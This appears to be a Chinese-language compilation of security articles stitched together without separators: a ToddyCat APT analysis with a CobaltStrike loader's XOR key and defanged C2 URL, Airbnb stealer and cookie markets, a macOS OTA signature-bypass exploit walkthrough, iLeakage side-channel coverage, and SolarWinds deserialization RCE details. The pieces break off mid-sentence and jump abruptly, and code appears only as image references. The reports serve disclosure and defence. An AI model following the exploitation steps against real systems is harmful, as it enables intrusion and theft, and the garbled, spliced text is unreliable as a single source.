其他工具被動UDP後門這是一個很小的被動後門,用UDP數據包接收命令,攻擊者通常在執行此後門之前通過任務遠程執行以下命令。

14.png

該命令在目標主機上創建一個名為SGAccessInboundRule的新防火牆規則。它允許後門在端口49683上接收UDP數據包。執行該命令後,攻擊者執行後門:

15.png

後門的邏輯很簡單:它將UDP套接字綁定到指定端口,解壓縮接收到的數據,並使用WinExec函數執行結果字符串。命令執行後,後門會返回一條包含當前系統時間和已執行命令的消息,以此反饋命令的執行情況。但是,後門程序不提供該命令的輸出。

這個後門的確切目的目前尚不清楚,但有可能是為了在檢測到其他植入程序時提供額外的持久性。

CobaltStrike在調查過程中,我們觀察到攻擊者在部署Ninja代理之前使用了CobaltStrike。具體來說,我們觀察到一個用c++編寫的加載器的使用,它位於:

C:\ProgramData\Microsoft\mf\windef.dll惡意軟件加載一個名為“BIN”的嵌入式資源。使用異或算法和嵌入在代碼中的密鑰:B0 9A E4 EA F7 BE B7 B0對資源內容進行反混淆。

由此產生的有效負載是CobaltStrike信標,配置為與以下URL通信:

hxxps://www.githubdd.workers[.]dev/fam/mfe?restart=false攻擊開始大約10分鐘後,系統檢測到ToddyCat Ninja。

Post-exploitation調查發現,為了實現這一目標,攻擊者使用上面描述的加載程序和木馬等工具滲透企業網絡。之後,它就開始收集連接到同一網絡主機的信息,以查找可能具有感興趣文件的目標。

該組織執行發現活動,通過利用標準操作系統管理實用程序(如net和ping)枚舉域帳戶和DC服務器:

16.png

在確定潛在目標後,該組織通過使用受攻擊的域管理憑據在本地安裝網絡共享來橫向移動:

17.png

攻擊者註意隨著時間的推移輪換使用的憑據,相同的憑據不太可能長期使用。

複製腳本後,將創建一個計劃任務,執行並立即刪除網絡共享,所有這些都是針對每個目標主機循環進行的:

18.png

計劃任務通常可以包含單個發現命令、二進制調用或負責執行收集活動的PS1或BAT腳本。

在橫向移動期間,單命令計劃任務的輸出保存在特定的文件中,以便攻擊者將遠程驅動器掛載為本地共享時可以捕獲它:

19.png

在運行腳本的情況下,命令如下:然後,我們觀察到PS1腳本中發現的相同的PowerShell命令被包裝在BAT腳本中,這可能是為了避免被檢測到。

然而,有些文件夾似乎比其他文件夾更受歡迎:

20.png

攻擊者會對同一會話重用相同的任務名,這樣的名字通常會引起較少的懷疑,例如“one”和“tpcd”,而腳本名稱可以從兩個到四個隨機的鍵盤觀察字符變化,具有更高的熵。

在活動結束時,掛載一個臨時共享,然後在洩漏主機上刪除:

21.png

數據收集和洩露

如上所述,一旦確定了感興趣的目標,收集階段就開始了。攻擊者通常從許多不同的主機收集文件,並將它們存儲在檔案中,然後使用公共文件存儲服務從目標網絡中洩漏出來。

22.png

數據竊取方案

我們已經描述了一些工具,例如LoFiSe,專門用於識別和收集感興趣的文件,但是在調查過程中,我們還發現了ToddyCat使用的其他腳本,這些腳本使用WMI枚舉目標主機磁盤上的文件,並收集最近修改的具有.pdf,doc,docx,xls 和.xlsx擴展名的文檔。

在這些情況下,使用諸如7zip或RAR實用程序之類的工具執行壓縮,特定的工具可能是根據基礎設施中已經可用的工具來選擇的。與LoFiSe不同,集合腳本將枚舉文檔的路徑存儲在純文本TXT文件中。文檔壓縮可以直接在目標主機或洩漏主機上完成。

下面是在目標主機上運行的BAT腳本的內容:

23.png

在上面的示例中,文件被文件在一個tmp_文件夾中;我們還觀察到使用根據主機名參數化名稱的文件夾,例如:

24.png

要收集的文件也是根據它們最後的寫入時間來選擇的。文件的最後修改日期應該大於一定天數。這個數字通常作為腳本參數傳遞,並且可以硬編碼。

在主驅動器和輔助驅動器上選擇數據源時,收集腳本使用不同的策略。對於默認的Windows主驅動器,腳本遍歷用戶配置文件目錄(C:\Users)。這種方法增加了捕獲有價值數據的可能性,同時減少了所需的處理時間,並最大限度地減少了收集不需要文件的機會。在處理外部設備和其他非主存儲介質時,腳本會選擇一種更方便的策略,即選擇根目錄(\)。雖然主驅動器始終可用,但輔助驅動器可能並不總是可訪問,從而限制了收集機會。為了減少這一限制,攻擊者偶爾會擴展時間範圍,將輔助驅動器和可移動驅動器上的舊文件包括在其作用域中(如BAT代碼片段所示)。

以下是PS1腳本的結構:

25.png

攻擊者試圖通過保護腳本並將腳本代碼嵌入到PE “.text”部分中的特定釋放器來傳播它們以逃避防禦。

26.png

PowerShell腳本里面的可執行文件

滴管接收兩個參數;第一個是啟動執行時必須提供的密碼字符串,第二個是通過命令行實際傳輸到PS腳本的數字。啟動後,dropper創建一個名為pro.ps1的文件,並通過PowerShell執行它:

愛彼迎(Airbnb)在全球10萬個活躍城市擁有超過700萬個房源,為廣大遊客提供了價位合理、環境舒適的住宿,但超旺的人氣也使其容易受到網絡犯罪分子、欺詐性房東、虛假帳戶及其他騙局的攻擊。

本文便著重探討了網絡犯罪分子如何利用愛彼迎及其用戶。

走近竊取器的世界為了了解網絡犯罪分子在如何利用愛彼迎,明白他們用來未經授權訪問帳戶的方法至關重要。

網絡犯罪分子經常使用一種名為“竊取器”(stealer)的惡意軟件來獲取用戶名和密碼等信息,這類竊取器其實是一種惡意軟件,滲入設備,並將竊取的數據(又名為日誌)傳輸給攻擊者。日誌通常被發送到服務器,但在一些情況下,日誌也可以通過電子郵件和Telegram等安全聊天程序來加以傳送。

竊取器可以通過各種不同的技術加以部署,包括社會工程、利用軟件漏洞和惡意廣告等技術。

此外,還有一個地下市場,網絡犯罪分子可以在這里大量買賣設備訪問權限(又叫機器人程序、安裝件或感染)。

1.png

圖1. 該截圖顯示了網絡犯罪分子在論壇上出售機器人程序

願意花錢的網絡犯罪分子可以聯繫機器人程序賣家或商店,立即開始在成千上萬個設備上部署竊取器。

2.png

圖2. 該截圖顯示了在一個臭名昭著的網絡犯罪論壇上可售的不同竊取器

竊取器可以入侵大多數瀏覽器,主要目標是網絡應用程序的帳戶信息。日誌通常遵循特定的格式,這包括多列,其中的一行行數據含有各種信息,比如姓名和信用卡或借記卡詳細信息等。除了獲取登錄憑據外,竊取器還可以洩露cookie。

cookie的重要性cookie是存儲在用戶設備上的小小的數據文件,其中含有關於用戶在特定網站上瀏覽活動和訪問偏好的信息,網絡犯罪分子經常在各種在線論壇上竊取、購買和出售愛彼迎帳戶的cookie。這樣一來,他們就可以暫時訪問愛彼迎帳戶,不需要相關的用戶名和密碼。

3.png

圖3. 該截圖顯示了網絡犯罪論壇上的一個用戶試圖購買愛彼迎cookie

比如說,網絡犯罪分子可以從受攻擊帳戶購買被盜的愛彼迎cookie數據庫,將cookie加載到瀏覽器中,並訪問受害者的帳戶。有了這種非法訪問權限,他們可以冒充真實用戶,預訂房源或執行其他未經授權的操作,而不會引發任何警報。然而需要注意的是,大多數會話cookie很快就會過期,因此網絡犯罪分子必須在會話過期之前迅速採取行動。

有利可圖的服務一旦網絡犯罪分子獲得了用戶帳戶信息或獲得竊取的cookie,他們的下一個目標通常就是從這些數據中牟利,一種標準的方法是直接向其他網絡犯罪分子出售受攻擊帳戶的信息或被盜的cookie。

這可以通過在在線論壇上打廣告來實現,也可以通過將一行行數據上傳到為這類交易提供便利的熱門商店來實現。

4.png

圖4. 該截圖顯示了一家大受歡迎的網絡犯罪商店出售愛彼迎帳戶

在寫這篇博文的時候,在上面提到的那家數字商店上有成千上萬個愛彼迎帳戶可供購買,令人震驚的是,大量被盜的帳戶使每個帳戶的價值縮水至區區1美元。

實際上,愛彼迎帳戶被盜的規模非常龐大,以至於攻擊者出售“帳戶檢查器”,這種自動化程序可以快速測試位於某個文本文件中的愛彼迎帳戶。

5.png

圖5. 該截圖顯示了為愛彼迎帳戶檢查器所打的廣告

這些帳戶檢查器背後的概念比較簡單。攻擊者可以將一個含有大量被盜憑據的文本文件加載到檢查器中,驗證哪些憑據有效、哪些憑據無效。一些檢查器還可以執行特定的操作,比如預房源。

網絡犯罪分子還提供服務,為愛彼迎預訂提供高達50%的折扣。

6.png

圖6. 該截圖顯示了一項服務對愛彼迎的所有預訂提供50%的折扣

很明顯,這類服務有利可圖,因為論壇上宣傳這些服務的帖子已經收到了數以萬計的瀏覽量和數以百計的回復量。

總而言之,網絡犯罪分子已經發現了利用愛彼迎從事欺詐活動的各種方法,通過使用竊取器和被盜的cookie未經授權訪問用戶帳戶。然後,這些洩露的信息被賣給其他網絡犯罪分子,或者被用來向買家提供折扣服務。被盜帳戶的規模相當大,數字商店裡已有成千上萬愛彼迎帳戶,以低至1美元的單價就能買到。

我們必須意識到風險,並採取必要的預防措施,以保護個人信息免受此類網絡威脅。

蘋果的OTA更新在大多數情況下,macOS更新是通過OTA更新過程完成的。

OTA是over-the-air的縮寫。在“系統設置”中,我們可以通過點擊“立即更新”按鈕直接更新系統。

1.png

OTA更新是一種增量更新,因此比完整的操作系統升級更快,容量更小。

它用於小版本更新,通常每兩個月更新一次。但是,如果蘋果公司認為內核中存在緊急漏洞,並且已經被積極利用,並且無法通過RSR(快速安全響應)修復,則可能在幾週內可用,OTA更新包從Apple CDN服務器下載。

2.png

從表中可以看到,OTA包是針對當前操作系統版本定制的。

例如,為了更新到12.6,12.5和12.4的軟件包是不同的。更新過程是應用補丁碼,所以不同的操作系統版本有不同的補丁碼。在大多數情況下,系統越老,包就越大。

下載並解壓縮OTA包後,我們可以看到包的內容如下:

3.png

引導目錄包含與引導過程相關的內容,增量更新的真正補丁代碼位於名為payloadv2的目錄中。有一個名為payload.bom的關鍵文件,它列出了OTA包中的所有項目及其校驗和值。文件payload.bom.signature用於驗證payload.bom文件的完整性。文件pre.bom和post.bom列出了更新前後系統上的所有項目及其校驗和值。 Info.plist文件提供了有關當前OTA包的一些基本信息,例如預版本、目標版本等。

在payloadv2文件夾中,有一些需要注意的重要文件。新系統中的新數據文件被壓縮為名為data_payload的文件。 ecc_data文件夾包含一些與文件權限相關的文件。 links.txt文件列出了新系統的所有硬鏈接。 removed.txt文件列出了需要從當前系統中刪除的所有項目。

更新階段一般的更新過程可以抽象為3個階段。

4.png

第一步是下載並解壓縮UpdateBrainService 捆綁包。

第二階段是下載並解壓縮OTA包。

第三個階段是使用OTA包生成UpdateBrainService。

那麼,系統從哪裡下載UpdateBrainService呢?

經過一些研究,我發現下載網址位於XML文件/System/Library/AssetsV2/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain. XML:

5.png

從這個文件中,我們可以看到基本URL和構建完整URL的相對路徑。它還包含版本、發布日期、包大小、SHA1值和其他有用的信息。

第一階段6.png

獲取下載URL後,進程nsurlessiond負責將UpdateBrainService下載到臨時目錄。同時,com.apple.StreamingUnzipService將其解壓縮到相同的臨時位置。接下來,mobileassetd進程將解壓的內容移動到可信位置,/System/Library/AssetsV2/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/。最後,在啟動的進程生成UpdateBrainService之前,xpc服務包將被複製到它的暫存路徑。

第二階段第二階段與第一階段相似:

7.png

不同之處在於xml路徑/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/com_apple_MobileAsset_MacSoftwareUpdate.xml,

下載url和目標位置/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/。

第三階段第三個階段是UpdateBrainService本身。

特定的xpc服務有許多有趣的權限:

8.png

例如,“com.apple.rootless.install.heritable”授予其自身及其所有子進程修改SIP保護位置的權限。此外,“com.apple.apfs.reverse to snapshot”和“com.apple.private.apfs.create sealed snapshot(創建密封快照)”權限可能允許服務在重新啟動後更新受SSV保護的內容。

我們還應該注意的一點是,它是用標誌庫驗證進行簽名的。因此,我們不能通過將動態庫注入到這項服務中來直接享受這些權限。

逆轉UpdateBrainService

com.apple.MobileSoftwareUpdate.UpdateBrainService2

通過簡單的逆向工程,我們發現它提供了一個名為com.apple.MobileSoftwareUpdate.UpdaterainService2的mach服務,該服務具有一個稱為MSUBrainPrivateSXPCI接口的協議。

9.png

它通過在委託方法中返回YES直接接受來自任何客戶端的所有xpc連接:

10.png

但在研究過程中,我意識到服務中的協議方法沒有實現,所以我可能會在未來的版本中再次檢查。

com.apple.MobileSoftwareUpdate.UpdateBrainService

還有一個名為com.apple.MobileSoftwareUpdate.UpdateBrainService的服務。它是通過C語言的低級XPC API實現的:

11.png

在xpchandler(Handler主要用於異步消息的處理:當發出一個消息之後,首先進入一個消息隊列,發送消息的函數即刻返回,而另外一個部分在消息隊列中逐一將消息取出,然後對消息進行處理,也就是發送消息和接收消息不是同步的處理。)方法中,我們可以看到它通過一個全局數組來調度xpc請求:

12.png

如果xpc客戶機具有相應請求所需的權限,則服務將相應地調用處理例程函數。

全局調度表有7個元素,每個元素有3個成員:操作的名稱、所需的權限字符串和實際處理例程函數的地址。

13.png

繞過簽名驗證(CVE-2022-42791)修改包可以在應用補丁之前修改OTA包嗎?回顧之前討論過更新的第二階段,可以確認OTA包的最終路徑(/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/)被SIP保護。

但是,提取的內容首先被放置在一個臨時位置(/var/folders/zz/zyxvpxvq6csfxvn_n00000y800007k/T/

com.apple.nsurlsessiond/CFNetworkDownload_XXXXXX.tmp/[hash].asset),完全不受限制,它由nsurlsessiond所有,根用戶可以直接修改它。

因此,在mobileasseted進程移動到最終可信位置之前,有一個修改內容的時間窗口。因此,可信位置中的OTA包的內容是不可信的,需要進行驗證。

當我嘗試替換有效負載時。由於權限問題,mobileassetd進程無法調用文件API,因此拒絕移動到最終路徑:

14.png

但事實是,一旦通過檢測,它將調用API rename來移動包內容。所以我很早就替換了目標文件。

但一個成功的日誌是什麼樣的呢,如下圖所示:

15.png

幸運的是,有一個關鍵字字符串(“Moving file in …”)表明通過檢查的時間窗口。因此,一旦從日誌中監控到該關鍵字,我就可以替換目標文件。

接下來,我將進行第二次嘗試:

監控日誌,一旦檢測到關鍵字“Moving file”,就立即從OTA包中替換目標文件。

然後,被篡改的內容成功地傳輸到最終的可信位置!

但是,UpdateBrainService停止準備操作系統更新。

OTA包驗證此服務的職責是從可信位置驗證不可信的OTA包的內容。那麼,它如何驗證OTA包呢?

如上所述,payload.bom文件列出OTA包中的所有項目及其校驗和值:

16.png

下面是驗證包內容的函數:

17.png

它打開文件payload.bom並讀取其內容。接下來,該函數將payload.bom文件中指定的文件摘要值與最終路徑上的真實摘要值進行比較:

18.png

如果其中一個摘要值不等於期望值,則該函數返回false並且驗證失敗。

它如何驗證payload.Bom文件本身?另一個名為verify_package_signature的函數負責驗證:

19.png

首先,它打開payload.bom文件併計算其SHA1值。然後打開payload. dom .signature文件並讀取簽名文件內容。

接下來,它從系統證書文件(/System/Library/SoftwareUpdateCertificates/iPhoneSoftwareUpdate.pem)中獲取公鑰,該文件受SIP和SSV保護:

20.png

最後,它通過調用來自Security.framework的API seckeyverifysignsignature,用公鑰計算出的SHA1值和簽名文件內容驗證簽名:

21.png

TOCTOU漏洞這樣,在驗證中存在一個經典的TOCTOU (Time-Of-Check-Time-Of-Use)漏洞:

22.png

位於受信任位置的payload.bom文件不能直接修改,但我們可以在mobileassetd進程移動OTA包之前用符號鏈接替換它。因此,可以使用符號鏈接隨時修改payload.bom文件。

接下來,在函數verify_package_signature中,它根據符號鏈接從受控位置讀取BOM文件,因此我們使用原始payload.BOM來通過檢查。

然後在函數verify_package_contents中,它也遵循符號鏈接並使用受控BOM文件驗證OTA包中的所有其他項。所以現在,我們可以模擬payload.bom文件以替換OTA包中的所有其他項。

經過三次嘗試,終於實現了:

將原始payload.bom複製到受控位置/tmp/ppayload.bcom。

監控日誌,一旦檢測到關鍵字“Moving file”,就用指向/tmp/playload.bom的符號鏈接替換payload.bom。

符號鏈接(/tmp/payload.bom)已成功移動到最終受信任的位置!

在傳遞函數verify_package_signature後,偽造BOM文件(/tmp/payload.bom) 。

現在,OTA包中的所有項目都可以被篡改!

漏洞利用1:SIP繞過第一個漏洞是繞過SIP,這很容易做到。

函數ParallelPatchRemoveFiles讀取OTA包中的deleted .txt文件,並刪除txt文件中指定的所有項:

23.png

因此,我可以通過修改txt文件獲得一個原語來刪除任意受sip保護的路徑。

該漏洞適用於所有Mac平台,包括英特爾Mac和Apple Silicon Mac。

漏洞利用2:攻擊內核那麼,我可以劫持新的操作系統內核嗎?

使用SSV

繞過SIP後直接劫持OS內核的挑戰是SSV保護。

signed system volume (SSV)是macOS Big Sur中引入的新功能。在SIP被繞過的情況下,它仍然使用隔離的只讀系統卷來保護系統文件。

24.png

最基本的事實是,蘋果需要通過OTA更新來更新操作系統內核文件。因此,OTA更新過程必須具備突破SSV保護的能力。

但是這個過程是如何完成的呢?

macOS系統有一個隱藏的更新卷(/System/Volumes/Update/mnt1),它是當前操作系統的快照。然後將所有補丁應用於該快照。如果更新過程成功,它將更新密封值並引導新的操作系統。如果更新失敗,它將恢復到以前的快照。

在深入研究了UpdateBrainService之後,我總結了OTA更新過程中的關鍵工作流,如下所示:

25.png

首次嘗試首次嘗試是通過有效負載提取函數釋放一個精心製作的內核文件。

製作data_payload的步驟如下:

26.png

在OTA更新過程中,按照預期將精心製作的data_payload提取到快照中。

不過,重啟後它就不起作用了,目前還不確定是什麼原因。

第二次嘗試我的第二種方法是濫用應用修復的copy_patched_files函數。這與OTA更新過程更新內核的方式相同。

然而,困難在於我必須自己創建修復文件,它是BXDIFF 5格式的,並且沒有文檔記錄。所以,我必須先研究一下文件格式。

BXDIFF 5文件格式穀歌搜索這個文件格式後,我找到兩個GitHub存儲庫,它們都用於將修復文件應用於舊文件,然後生成新文件。但是,我需要基於兩個不同的文件生成一個修復文件。

但它們確實幫助我理解了文件格式,通過閱讀代碼,我知道BXDIFF 5文件由4部分組成:Header, Control, Diff和Extra。

Header部分的大小為88字節,前8個字節是硬編碼的魔術數字:

27.png

紅色的部分是未知的,似乎是無用的。綠色部分為修復前後的哈希值,用於驗證修復是否成功。藍色部分是以下部分的大小。

Control部分使用LZMA算法進行壓縮,解壓後的Control段數據為24字節,由3種控制命令組成:

28.png

第一個是混合長度,它指定從Diff部分混合多少字節。第二個是複制長度,第三個是查找長度。

Diff部分和Extra部分也是LZMA壓縮的。解壓縮後,數據是一個原始字節數組,以前由Control部分使用。

製作一個精心製作的修復程序文件我的目標是替換內核中系統命令uname的輸出字符串。所以我應該修改Diff部分。

首先,使用以下腳本計算Diff節中的新字節。

29.png

然後計

研究人員已設計出了一種攻擊方法,可以利用現代iOS和macOS設備搭載的A系列和M系列CPU中的側信道漏洞,迫使蘋果的Safari瀏覽器洩露密碼、Gmail郵件內容及其他秘密信息。

學術研究人員將這種攻擊命名為“iLeakage”,這是一種切實可行的攻擊,只需極少的物理資源。然而,它確實需要對蘋果硬件進行深入的逆向工程,還需要在利用側信道(side channel)這類漏洞方面擁有豐富的專業知識。

側信道可以根據電磁輻射、數據緩存或目標系統的其他表現形式中留下的線索洩露秘密信息。這裡的側信道是推測執行,這是現代CPU中提升性能的一項功能,近年來卻成為了一大批攻擊的來源,幾乎源源不斷的漏洞變種使得芯片製造商(主要是英特爾,其次是AMD)競相制定緩解措施。

利用蘋果芯片上的WebKit研究人員將iLeakage實施成了一個網站,被易受攻擊的macOS或iOS設備訪問時,該網站使用JavaScript秘密打開攻擊者選擇的不同網站,並恢復在彈出窗口中渲染/呈現的網站內容。研究人員成功地利用iLeakage恢復了YouTube的觀看歷史內容、Gmail收件箱的內容(目標登錄期間)以及由憑據管理器自動填充的密碼。一旦被訪問,iLeakage網站需要大約5分鐘來分析目標機器,另外平均需要大約30秒來提取一個512位的秘密信息,比如64個字符的字符串。

1.jpg

圖1. 上圖:Gmail的Web視圖中顯示的電子郵件。下圖:恢復的發件人地址、主題和內容。

研究人員在相關信息網站上寫道:“我們展示了攻擊者如何誘使Safari呈現任意網頁,隨後使用推測執行恢復網頁中存在的敏感信息。特別是,我們演示了Safari如何允許惡意網頁從流行的高價值目標中恢復秘密信息,比如Gmail收件箱內容。最後,我們演示了密碼的恢復,以防這些密碼被憑據管理器自動填充。”

2.jpg

圖2. 上圖:谷歌的帳戶頁面被密碼管理器自動填寫,其中密碼是googlepassword。下圖:洩露的頁面數據,憑據高亮顯示。

雖然iLeakage只在目標運行Safari時攻擊Mac,但iPhone和iPad在運行任何瀏覽器時都可能受到攻擊,因為它們都基於蘋果的WebKit瀏覽器引擎。

蘋果代表聲稱,iLeaka已意識到這個漏洞,計劃在即將發布的軟件版本中解決這個問題,沒有指定CVE編號來跟踪該漏洞。

獨特的WebKit屬性是這種攻擊的一個關鍵因素。 A系列和M系列芯片(蘋果分別為iOS和macOS設備設計的第一代CPU)是另一種設計,這兩種芯片都含有防護措施,旨在防止推測執行攻擊,實施這些防護措施的方式存在缺陷,最終讓iLeakage得以變成現實。

推測執行:不斷搗鼓的黑客手法2018年初,兩個相互獨立的研究團隊披露了兩種攻擊,一種名為Spectre,另一種名為Meltdown,兩者都能夠通過探索推測執行這項提升性能的功能中一個新發現的側信道來恢復機密信息,且這項功能內置在幾乎所有的現代CPU中。將數據從主系統內存移到CPU中很耗費時間,為了縮短等待時間,現代CPU在所需數據可用時立即執行指令,而不是按順序執行。

這種亂序模式的一個關鍵要素是預測CPU可能經過的路徑,如果預測正確,任務就會比沒有預測的情況下更快地完成;如果不正確,CPU將放棄錯誤預測的路徑,採用一條新的正確的路徑。 Spectre和Meltdown的研究人員發現,無法恢復微架構層面的某些工件,包括緩存和預測器狀態。這使得研究人員能夠設計出攻擊手法,誘騙英特爾和AMD的CPU錯誤地預測敏感指令,將秘密信息從一個應用程序洩露到另一個獨立的、不相關的應用程序中,這嚴重突破了核心安全邊界。

在此後的幾年裡,CPU製造商和軟件開發商想出了許多方法來緩解推測執行攻擊。一個關鍵的緩解措施是限制瀏覽器或其他應用程序測量CPU執行特定操作所需的精確時間的功能。在瀏覽器中,更多的緩解措施以名為壓縮35位尋址和值中毒的防禦形式出現。

3.jpg

圖3. 推測類型混淆小工具的偽代碼。

iLeakage代表了幾項突破。首先,它能夠利用類型混淆漏洞,在搭載A系列和M系列芯片的Safari瀏覽器上擊敗這些防禦措施。其次,它是一種不依賴時間的變種,而是依賴所謂的競態條件。第三個關鍵因素是WebKit的獨特功能:使用常見的JavaScript方法window.open,將來自不同域的網站整合到同一個渲染器進程中。

4.jpg

圖4. 該圖概述了基於競爭條件的小工具如何運行以區分緩存命中和緩存未命中。

研究人員在信息網站上寫道:為了構建iLeakage,我們先對蘋果Silicon CPU上的緩存拓撲結構進行了逆向工程分析。然後我們使用一個新的基於推測的小工具克服了蘋果的計時器限制,我們因而可以區分單個緩存命中和緩存未命中,儘管只能訪問低分辨率計時器。我們還演示了這個小工具的一個變種,它不使用計時器,而是利用競爭條件,在使用基於推測的小工具構建驅逐集(eviction set)之後,我們進而分析Safari的側信道彈性。這裡,我們繞過了Safari的35位尋址和值中毒對策,創建了一個可以在Safari的頁面呈現過程中推測讀取和洩漏任何64位指針的原語。再結合一種將來自不同域的網站整合到同一地址空間的新方法,我們能夠發動一種洩漏敏感信息的類似推測的混淆攻擊。

研究人員在一篇附帶的研究論文(https://ileakage.com/files/ileakage.pdf)中這樣描述這種不受時間影響的變種:我們將所有上述構造的原語組合到一個不受時間影響的Spectre v1小工具概念驗證(PoC)。大體上而言,我們通過以下方法來做到這一點,即把洩露所推測的秘密信息的基於緩存時間的方法換成不受時間影響地區分緩存未命中和緩存命中的小工具。在這裡,我們展示了我們的攻擊在Safari、Firefox和Tor上擁有近乎完美的準確性。

萬事俱備攻擊要想成功,一台易受攻擊的計算機必須先訪問iLeakage網站,對於涉及YouTube、Gmail或任何其他特定Web資產的攻擊,用戶應該在攻擊網站打開的同時登錄到其帳戶。如前所述,攻擊者網站需要花大約5分鐘來探測訪問設備。然後,使用window.open JavaScript方法,iLeakage可以導致瀏覽器打開任何其他網站,開始以每秒24位到34位的速度竊取某些數據。

正如研究論文解釋的那樣:

我們先回顧一下,雖然Safari通常遵循嚴格的每個選項卡進程模式,但由window.open函數打開的頁面與父頁面共享渲染/呈現過程。因此,我們創建了一個將window.open綁定到onmouseover事件偵聽器的攻擊者頁面,以便我們在我們的地址空間打開任何網頁,只要目標的鼠標光標在頁面上。

我們注意到,即使目標關閉了打開的頁面,內存中的內容也不會立即被清除,從而使我們的攻擊得以繼續洩露秘密信息。最後,由於window.open執行整合,無論父網頁和打開網頁的來源是什麼,我們將我們攻擊者的網頁託管在一個非公開訪問的Web服務器上,同時使用window.open整合來自其他域的頁面。

5.jpg

圖5

許多目標很可能會識別出iLeakage生成的彈出窗口並關閉它。即使這樣,攻擊也會得逞,因為內容在內存中仍然完好無損,使iLeakage得以繼續洩露秘密信息。

可以恢復的數據類型包括:

•由憑據管理器自動填寫的密碼

•Gmail收件箱內容

•YouTube觀看歷史記錄

iLeakage是一種切實可行的攻擊,只需要很少的物理資源就可以實施,最大的挑戰是需要高超的技術專長。攻擊者不僅要有利用推測執行漏洞方面的多年經驗,還要對A系列和M系列芯片進行全面的逆向工程處理,以深入了解它們含有的側信道。沒有跡象表明這個漏洞以前被發現過,更不用說在外面被大肆利用了,這意味著這個漏洞很快被用於實際攻擊的可能性很小。

蘋果計劃推出的補丁,很可能會在iLeakage式的攻擊網站變得切實可行之前,早早實施到位。

我們會在本文中詳細介紹四個在去年被修復的舊漏洞:

CVE-2022-38108;

CVE-2022-36957;

CVE-2022-36958;

CVE-2022-36964;

CVE-2022-38108這個漏洞已經在這篇博客文章中提到了。

簡單來說,幾個SolarWinds服務通過RabbitMQ實例相互通信,該實例可通過端口5671/TCP訪問。雖然訪問它需要憑據,但是高權限用戶可以通過SolarWinds Orion平台提取這些憑據,攻擊者利用CVE-2023-33225,它允許低權限用戶提取這些憑證。

該漏洞針對的是SolarWinds信息服務。為了向信息服務發送AMQP消息,必須將消息的Routing-Key設置為SwisPubSub,RoutingKey就是路由規則,消息對應的隊列。

1.png

AMQP消息中的Routing-Key

現在,讓我們來驗證SolarWinds是如何處理這些消息的,可以從EasyNetQ.Consumer.HandleBasicDeliver方法開始:

在[1]處,代碼檢索AMQP消息的屬性,這些屬性由發送消息的攻擊者控制。

在[2]處,它創建了一個執行上下文,其中包含AMQP消息屬性和消息正文。

在[3]處,它執行一個任務來使用消息。

這就需要Consume方法。

在[1]處,EasyNetQ.DefaultMessageSerializationStrategy.DeserializeMessage被調用,它接受輸入的消息屬性和消息正文。調用名為DeSerialize的方法並返回type類型的輸出,作為輸入,它從消息中接受Type屬性。

我們可以通過AMQP消息屬性控制messageType類型!

在[2]處,它調用BytesToMessage,同時接受攻擊者控制的類型和輸入的消息正文。

在[1]處,消息正文被解碼為UTF-8字符串。它應該包含JSON格式的數據。在[2]處,執行反序列化。我們控制目標類型和序列化負載。在[3]處,可以看到TypeNameHandling反序列化設置被設置為Auto。

現在,我們需要遠超需要實現的遠程代碼。要做到這一點,我們必鬚髮送一個AMQP消息,其中Type屬性設置為危險類型。

2.png

通過AMQP屬性控制反序列化類型

在消息正文中,我們必須傳播相應的JSON.NETgadget(有潛在可以被利用的代碼片段)。本文使用了ysosserial.net中的一個簡單的WindowsPrincipalgadget,它是內部存儲的BinaryFormattergadget的橋樑,JSON反序列化後,RCE將通過底層BinaryFormatter反序列化來實現。

這樣,就可以通過遠程執行惡意代碼來控制目標系統的漏洞!

CVE-2022-36957在之前的漏洞中,我們能夠通過AMQP屬性完全控制目標反序列化類型。當發現這樣的漏洞時,我們需要知道合法消息是什麼樣子?我們經常檢查在典型產品操作過程中反序列化的類型。

我們很快意識到SolarWinds只發送一種類型的信息,即SolarWinds.MessageBus.Models.Indication。

現在我們分析一下這種類型:在[1]和[2]處,我們可以看到兩個類型為SolarWinds.MessageBus.Models.PropertyBag的公共成員。

在[1]處,您可以看到所討論的類的定義,SolarWinds.MessageBus.Models.PropertyBag。

在[2]處,為該類註冊了一個自定義轉換器SolarWinds.MessageBus.Models.PropertyBagJsonConverter。它實現了ReadJson方法,該方法將在反序列化過程中調用。

在[1]處,代碼遍歷JSON屬性;在[2]處,檢索JSON值並將其轉換為jobobject類型;在[3]處,根據存儲在t鍵中的值檢索Type;在[4]處,存儲在v鍵中的對像被反序列化,此時我們再次控制目標反序列化類型。

你可以看到,我們再次控制了反序列化類型,該類型通過JSON鍵傳播,序列化的有效負載通過v鍵傳播。

現在,我們可以獲取任何屬性,例如:IndicationId。然後,我們需要:

1.將t鍵的值設置為惡意類型的名稱。

2.在v鍵的值中放入惡意序列化的有效負載。

由於JSON反序列化設置被設置為TypeNameHandling.Auto。現在,讓我們看一下上面描述的第一個漏洞,CVE-2022-38108,通過將目標反序列化類型硬編碼到SolarWinds.MessageBus.Models.Indication來修復。畢竟,這是唯一需要反序列化的合法類型。

這個修正是不夠的,因為SolarWinds.MessageBus.Models.Indication可以用來傳播一個攻擊者控制類型的內部對象。通過控制類型,我們就可以通過遠程執行惡意代碼來控制目標系統的漏洞!

CVE-2022-36958SolarWinds定義了一些稱為“SWIS動詞”的內部方法/操作。這些動詞可以是:

1.通過API直接調用。

2.通過Orion平台Web UI間接調用(Orion平台內部調用動詞)。

關於SWIS動詞,我們需要了解以下2點:

1.它們是使用XML結構中的有效負載調用的。

2.它們接受預定義類型的參數。

例如,Orion.AgentManagement.Agent.Deploy動詞接受12個參數。下面的屏幕截圖顯示了這些參數及其相應的類型。

33.png

Orion.AgentManagement.Agent.Deploy的參數

參數的處理是通過方法SolarWinds.InformationService.Verb. VerbExecutorContext.UnpackageParameters(XmlElement[], Stream)執行的。

在[1]處,檢索給定動詞參數的Type;在[2]處,使用檢索到的參數類型初始化DataContractSerializer;在[3]和[4]處,參數被反序列化。

這是正在處理一個DataContractSerializer。不過,這樣我們無法控制反序列化類型。

目前已找到了一些可濫用的PropertyBag類,通過進一步分析,有多個SWIS動詞接受名為SolarWinds.InformationService.Addons.PropertyBag類型的參數。我們可以提供任意XML,將其反序列化為這種類型的對象。

